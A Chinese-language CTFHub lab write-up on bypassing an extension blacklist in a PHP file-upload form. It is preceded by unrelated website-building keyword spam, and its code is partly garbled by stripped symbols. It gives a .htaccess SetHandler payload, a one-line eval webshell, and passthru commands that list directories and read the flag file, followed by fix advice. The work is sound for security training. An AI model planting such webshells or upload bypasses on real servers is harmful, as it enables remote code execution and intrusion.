天津品牌网站建设好处,南宁新技术产业建设开发总公司网站,建个网站多少钱app,怎样生成链接0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习#xff0c;实训平台。提供优质的赛事及学习服务#xff0c;拥有完善的题目环境及配套 writeup #xff0c;降低 CTF 学习入门门槛#xff0c;快速帮助选手成长#xff0c;跟随主流比赛潮流。 0x01 题目描述…0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习实训平台。提供优质的赛事及学习服务拥有完善的题目环境及配套 writeup 降低 CTF 学习入门门槛快速帮助选手成长跟随主流比赛潮流。 0x01 题目描述 .htaccess htaccess 文件是 Apache 服务器中的一个配置文件它负责相关目录下的网页配置。通过 htaccess 文件可以帮我们实现网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 网页显示内容0x02 解题过程
0x1 方法一 使用蚁剑连接
Ⅰ分析网页源代码代码中使用了两个常量 UPLOAD_PATH 。和 UPLOAD_URL_PATH 但是没有给出这两个常量的值。一般地程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。 !DOCTYPE html
html
headmeta charsetUTF-8titleCTFHub 文件上传 - htaccess/title
/head
bodyh1CTFHub 文件上传 - htaccess/h1form action methodpost enctypemultipart/form-datalabel forfileFilename:/labelinput typefile namefile idfile /br /input typesubmit namesubmit valueSubmit //form
/body
/html
!--
if (!empty($_POST[submit])) {$name basename($_FILES[file][name]);$ext pathinfo($name)[extension];$blacklist array(php, php7, php5, php4, php3, phtml, pht, jsp, jspa, jspx, jsw, jsv, jspf, jtml, asp, aspx, asa, asax, ascx, ashx, asmx, cer, swf);if (!in_array($ext, $blacklist)) {if (move_uploaded_file($_FILES[file][tmp_name], UPLOAD_PATH . $name)) {echo scriptalert(上传成功)/script;echo 上传文件相对路径br . UPLOAD_URL_PATH . $name;} else {echo scriptalert(上传失败)/script;}} else {echo scriptalert(文件类型不匹配)/script;}
}
-- Ⅱ使用 FilesMatch 命令生成一个.htaccess 文件进行上传绕过白名单中的漏洞。 !-- payload表示之后需要通过FilesMatch命令进行匹配的文件名称也就是之后需要上传的一句话木马 --
FilesMatch payloadSetHandler application/x-httpd-php
/FilesMatchⅢ上传一句话木马文件名为 payload 这里不需要后缀名因为要和 FilesMatch 命令指定的文件名称相匹配。 ?php eval($_POST[shell]); ? Ⅳ使用蚁剑添加并连接 Ⅴ检查网页文件发现此题flag 0x2 方法二 执行外部命令
Ⅰ方法一中已经分析过源代码那么执行外部命令还是需要先使用 FilesMatch 命令生成一个.htaccess 文件进行上传。 Ⅱ使用 passthru 执行外部指令查看文件夹 var 中是否存在关于此题的 flag 。 ?php
passthru(ls /var/);
? Ⅲ在 URL 中访问 payload 文件夹的路径 Ⅳ一般网页文件夹都存放在 www 文件夹中这里检查 www 文件需要再次上传 payload 文件夹才可以查看。 ?php
passthru(ls /var/www/);
? Ⅴ查看 html 文件夹中是否有此题 flag 这里看到有一个关于flag的php文件 ?php
passthru(ls /var/www/html/);
? Ⅵ检查此文件注意网页中是不显示注释代码的需要检查源代码查看。 ?php
passthru(cat /var/www/html/flag_828011517.php);
? 0x03 修复建议 [1].给上传文件设置上传路径对代码中的 UPLOAD_PATH 和 UPLOAD_URL_PATH 进行定义。 [2].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制同时可以设置上传文件大小的最大值。 [3].确保上传文件的存储路径安全不要将上传的文件存储到Web根目录下或者其他可被访问的目录中 [4].对上传文件的访问权限进行控制只允许有必要权限的用户或者应用程序访问上传的文件。 0x04 总结
文章内容为学习记录的笔记由于作者水平有限文中若有错误与不足欢迎留言便于及时更正。